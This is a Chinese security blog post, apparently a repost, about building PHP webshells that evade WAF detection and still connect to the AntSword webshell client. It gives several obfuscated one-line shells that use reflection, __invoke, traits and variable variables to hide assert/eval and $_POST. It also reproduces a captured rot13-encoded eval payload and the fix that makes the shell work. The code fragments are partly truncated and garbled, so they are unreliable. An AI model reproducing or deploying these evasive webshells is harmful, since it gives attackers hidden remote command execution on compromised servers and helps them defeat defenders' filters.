Webshell免杀之蚁剑连接

前言

如果我们直接传参进行命令执行的话会很容易被WAF拦截。

蚁剑有编码器这一功能可以方便我们绕过WAF的检测。

后来一次使用webshell过程中发现其并不能连接蚁剑,决定抓包简单分析一下流量修改我们的webshell。

trick

这一次分享几个之前总结的一些成果。

ReflectionClass::newInstance

$\_wfwefb) { $$\_asadasd =$\_wfwefb; } } $class2 = $class1->newInstance($\_asadasd, $$\_asadasd); 我们首先初始化一个反射类,传入要实例化类的类名,接下来用 `newInstance()` 方法对该类进行实例化。 1.我们的webshell需要接收两个参数,一个是`函数`,另一个是`函数的参数`,这里借用`@郑瀚AndrewHann`师傅的污点传递理论:https://zhuanlan.zhihu.com/p/197553954 ![picture.image](https://p3-volc-community-sign.byteimg.com/tos-cn-i-tlddhu82om/de1dc88a6bbd40c9bde5bd718fd7c99a~tplv-tlddhu82om-image.image?=&rk3s=8031ce6d&x-expires=1780882922&x-signature=00DGm2Pu12Z7BDd4FwbW3sxMBhQ%3D) 2.接下来就是在构造函数内部执行命令,执行命令的方式是使用可变函数。当函数名被传入`$para=assert`时,构造函数内变为`assert($_value)`。函数的参数即我们要执行的命令。 3.最后解决参数的传递。常见的 `$_GET[]、$_POST[]、$_COOKIE[]...` 数组无法直接使用。 我们依然利用PHP的动态特性,使webshell不出现 `$_GET[]、$_POST[]、$_COOKIE[]...` 。 当程序执行到第二个foreach循环之前。 我们的输入并没有参数来接收,直到我们使用可变变量`变`出了`$_POST[]`,并将其键值进一步操作后传入`newInstance`函数。 --- 上面这个webshell依然可以进行变形。 $\_wfwefb) { $$\_asadasd =$\_wfwefb; } } $class2 = $class1->newInstance($\_asadasd, $$\_asadasd); * `__invoke`:当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。 所以我们在构造函数内调用一次对象:`$this($p1,$p2)`,接着会调用`__invoke()`函数实现命令执行。 trait(PHP 7) ------------- php从以前到现在一直都是单继承的语言,无法同时从**两个基类中继承属性和方法** ,为了解决这个问题,php出了`Trait`这个特性 * 用法:通过在类中使用 `use` 关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词, **Trait不能实例化** $\_value) { $$\_key= $\_value; } } $cat = new Cat(); $cat->eat($\_key, $\_value); * 我们的参数依旧将键值数组中的`键`、`值`分别传入。函数调用则使用PHP 7中的`trait`特性,最终实现可变函数的执行 静态调用非静态函数 ---------- $\_value) { $$\_key= $\_value; } } SimpleThis::NonStatic($\_key, $\_value); 在C、Java中,非静态函数肯定是不能被静态调用的。首先会编译失败。 但是PHP是个解释函数。至于原理:这里直接附上鸟哥的 文章 : https://www.laruence.com/2012/06/14/2628.html 连接蚁剑 ===== 将蚁剑挂上burpsuite。 上传我们的一句话木马进行连接。 * 请求的流量 ![picture.image](https://p3-volc-community-sign.byteimg.com/tos-cn-i-tlddhu82om/1826fca5633c469abc9a5536f8398deb~tplv-tlddhu82om-image.image?=&rk3s=8031ce6d&x-expires=1780882922&x-signature=iU4P8KYHtfGAyVXtWmqR3WeyTFw%3D) `assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ron28298";rpub @nfrap($bhgchg);rpub "9741440r5";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q} ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.=" ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.=" {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();` * 可以得到webshell执行的内容为:`assert(@eval(@str_rot13($_POST[ca3a283bf3d534]));)`,接着&ca3a283bf3d534=xxxx为我们的第二个POST参数 所以实际上webshell执行的是第二个随机参数的值。 * 回显 ![picture.image](https://p3-volc-community-sign.byteimg.com/tos-cn-i-tlddhu82om/1762a644167b4ce0b920564a0dc4c673~tplv-tlddhu82om-image.image?=&rk3s=8031ce6d&x-expires=1780882922&x-signature=Fm1AKbl1WDdsBlKfDrf00JlBtOo%3D) `Call to undefined function ca3a283bf3d534()`这里报错未定义的函数,很显然我们的可变函数的函数名被覆盖了。并没有执行`assert()`,达到预期的结果。 实际上我们需要的是第一个POST参数即我们传入的assert。 所以我们的webshell在循环数组时,造成了变量覆盖,后来的参数覆盖了前一个值。在webshell中我们需要取第一个值再传递它即可。 修改 --- **以第一个webshell为例:** $\_value) { for ($i=0;$i<1;$i++) { ${"s".$i} = $\_key; } break; } } $class2 = $class1->newInstance($s0, $\_value); 我们依然使用可变变量的方式获取参数的值。我们循环一次将函数名取出,再传递即可。 最后 === success! ![picture.image](https://p3-volc-community-sign.byteimg.com/tos-cn-i-tlddhu82om/8ab0b38da3114376804e1e28b7cd9c37~tplv-tlddhu82om-image.image?=&rk3s=8031ce6d&x-expires=1780882922&x-signature=0QBSwvQaIM%2BE54sED7GPjewtxvc%3D) ``` 来源:https://xz.aliyun.com/t/9218 排版自:渗透师老A ``` 侵权删! **推荐阅读** [XSS 实战思路总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484451&idx=1&sn=9672efaaf8693d10105c25020e91be19&chksm=c04e831df7390a0b975b18058b6ca6920e2defb83a3a13a9ab6f1e1f1ce22d51bdb1ce2be500&scene=21#wechat_redirect) [内网信息收集总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484545&idx=1&sn=b37e978be08e9873184add84741d27c6&chksm=c04e83bff7390aa9116158ab8c745b23b21f26be5d7fa910a266048a22305923de60ca4387e0&scene=21#wechat_redirect) [xss攻击、绕过最全总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484733&idx=1&sn=2329baa9bfd40be4e6395343669656f7&chksm=c04e8203f7390b15ef148b240850d0cb01becd7922f3b6f0cd8dc9932ef68623b90d5d6a7aee&scene=21#wechat_redirect) [一些webshell免杀的技巧](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484474&idx=1&sn=5200f2cabaf85e92838000b3190f1368&chksm=c04e8304f7390a12531f15d6dce69fa6c4bb5bbf9d9a3dec38f817b1df5d23872d456c144cc0&scene=21#wechat_redirect) [命令执行写webshell总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484810&idx=1&sn=3cfe8c6adc53bb1225e6ec869aa744ba&chksm=c04e82b4f7390ba217860a1cec97a4a1ddf73ba09234ae4c85560de6b302fb2c253297a95100&scene=21#wechat_redirect) [SQL手工注入总结 必须收藏](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484757&idx=1&sn=fd2de85bd5ff54de6b84729bbfc8ad4b&chksm=c04e826bf7390b7d0a9ab52800b9943729924b0ac62ec987391fb3e6850394b911ad15d0987f&scene=21#wechat_redirect) [后台getshell常用技巧总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484727&idx=1&sn=2dea2f461edb90af68be74c1e0b8344b&chksm=c04e8209f7390b1fe8701e6748147fd61922ce2e910df9750d08d838ca3cffa4e7ca531e4141&scene=21#wechat_redirect) [web渗透之发现内网有大鱼](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484706&idx=1&sn=744e770f1b095a59abdf4a309eb1fcd8&chksm=c04e821cf7390b0aa3f597b05c0cbe28558338f90ebcebe6eaf2eb577ffd7ee843b5394c4595&scene=21#wechat_redirect) [蚁剑特征性信息修改简单过WAF](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484685&idx=1&sn=0fa58a0d4d7ec9e7876fd71edc219fc4&chksm=c04e8233f7390b2570f2d7500cb6f29b3e9663fb765995b3720255b94b2b1b5f4a637b4e2940&scene=21#wechat_redirect) **查看更多精彩内容,还请关注** **橘猫学安全** **:** **每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“** **再看** **”** ![picture.image](https://p3-volc-community-sign.byteimg.com/tos-cn-i-tlddhu82om/f19c00ec752e4903aa7592c3dc131bca~tplv-tlddhu82om-image.image?=&rk3s=8031ce6d&x-expires=1780882922&x-signature=xpmu%2FgPy%2BHz6EzL2c61dKQ8TJzE%3D)
0
0
0
0
评论
未登录
暂无评论